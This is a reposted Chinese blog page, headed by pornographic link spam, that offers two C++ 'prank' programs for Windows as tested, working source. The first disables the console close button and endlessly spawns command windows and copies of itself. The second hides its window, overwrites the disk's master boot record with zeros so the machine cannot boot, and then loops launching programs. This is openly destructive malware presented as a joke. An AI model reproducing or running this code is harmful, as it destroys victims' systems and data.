日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

整人小程序c++实现(附源码)

發布時間:2024/8/1 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 整人小程序c++实现(附源码) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

兩個用c++實現的整人小程序,親測可用

切勿拿實體機試驗,<極易廢電腦>?

#include <iostream> #include <windows.h> using namespace std; int main() {SetConsoleTitle("整人小程序"); //將程序標題改為整人小程序 HWND hWnd; //設置一個窗口句柄 hWnd=FindWindow("ConsoleWindowClass",NULL); //獲取控制臺窗口 HMENU hMenu; //設置一個窗口菜單句柄 hMenu=GetSystemMenu(hWnd,false); //得到最小化、關閉等等的菜單,并賦值為falseEnableMenuItem(hMenu,SC_CLOSE,MF_BYCOMMAND|MF_GRAYED); //SC_CLOSE為關閉按鈕,后面兩個使得關閉按鈕變灰無法點擊MessageBox(NULL,"你已經無法關閉此窗口了!","提示",MB_OK|MB_ICONINFORMATION); //彈出窗口Sleep(1000);for(int i=0; ;i++)//也可以用while(1)代替,反正都是死循環 {system("start"); //打開命令提示符ShellExecute(0,"open","整人小程序.exe",0,0,1); //ShellExecute函數,open為打開,第三項為指定的程序 Sleep(50); //每次循環后休息0.05秒} } #include <windows.h> #include <cstdlib> #include <cstdio> int main() {NEXT_INQUIRY:HWND hWnd; //設置一個句柄hWnd=FindWindow("ConsoleWindowClass",NULL); //得到控制臺窗口句柄if(!hWnd){goto NEXT_INQUIRY; //返回NEXT_INQUIRY下的代碼繼續 }ShowWindow(hWnd,SW_HIDE); //將自己隱藏FILE *REMOVE_MBR=fopen("\\\\.\\PHYSICALDRIVE0","rb+"); //\\\\.\\PHYSICALDRIVE0為MBR文件,fopen打開,rb+意為打開一個二進制文件,只可讀寫數據 char MBR[512]; //將MBR的大小設置為512,因為MBR的三個主引導扇區的總大小為512 ZeroMemory(MBR,sizeof(MBR)); //初始化MBR的大小 fwrite(MBR,sizeof(MBR),1,REMOVE_MBR); //寫入一個新的MBR值(破壞MBR)CloseHandle(REMOVE_MBR); //關閉REMOVE_MBR句柄while(1) //死循環 {HWND windows=FindWindow("ConsoleWindowClass","整人小程序(加強版)"); //找到標題為 整人小程序(加強版) 的控制臺窗口 if(windows==NULL) //如果未找到 {ShellExecute(0,"open","整人小程序(加強版).exe",0,0,1); //打開 整人小程序(加強版)MessageBox(NULL,"你激怒我了!","憤怒",MB_OK|MB_ICONERROR); //彈出窗口 while(1) //死循環 {const char *application[]={"cmd.exe","calc.exe","explorer.exe","mspaint.exe","QQ.exe","cloudmiusic.exe","notepad.exe"}; //需要打開的程序 int stochastic=rand()%6; //設置一個隨機數,使其隨機輸出0~6的數 ShellExecute(0,"open",application[stochastic],0,0,1); //隨機打開上述文件的其中之一 Sleep(50); //每次循環后休息0.05秒 }} } }

總結

以上是生活随笔為你收集整理的整人小程序c++实现(附源码)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。